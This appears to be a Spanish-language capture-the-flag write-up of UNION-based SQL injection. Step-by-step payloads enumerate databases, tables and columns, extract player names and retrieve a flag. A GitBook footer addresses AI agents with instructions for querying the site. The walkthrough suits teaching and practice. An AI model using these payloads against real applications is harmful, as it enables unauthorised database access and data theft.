> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md).

# Inyección SQL con UNION

Interceptamos la petición con Burp Suite y alteramos la variable `jugador`:

<figure><img src="/files/3071747fbd1bb2d09607a5f33937df6cb036ba39" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -

```

El nombre de la base de datos es `november`.

<figure><img src="/files/1fe9f40f678fe20485ff170af33bdfe5bc73dd72" alt=""><figcaption></figcaption></figure>

Para listar todas las bases de datos:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -

```

Resultado: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/a9b559b0f0b7e114b8c202166f48e9458928c1d5" alt=""><figcaption></figcaption></figure>

Enumere la tabla de `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -

```

<figure><img src="/files/789238202bf77a63ee42a7c011ff3a3cd89684f3" alt=""><figcaption></figcaption></figure>

Enumere las columnas de la tabla `players`:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -

```

Columnas encontradas: `jugador`

<figure><img src="/files/da5bc3d42e2a1404666486f1ad723a24b3d20fc7" alt=""><figcaption></figcaption></figure>

**Extracción de datos del usuario**

```sql
jordan' union select group_concat(player,':') from players-- -

```

Jugadores encontrados: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/8ada02611f5ec0147afd8c0ba0048c39f40f5195" alt=""><figcaption></figcaption></figure>

Extracción de la bandera:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -

```

<figure><img src="/files/c70caf04b26be266f8e2a9581b6e22365e868dea" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -

```

<figure><img src="/files/b48c65f79615e8033c9e0c24bcf93198f8de936f" alt=""><figcaption></figcaption></figure>

* Flag encontrada: `UHC{F1rst_5tep_2_Qualify}`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
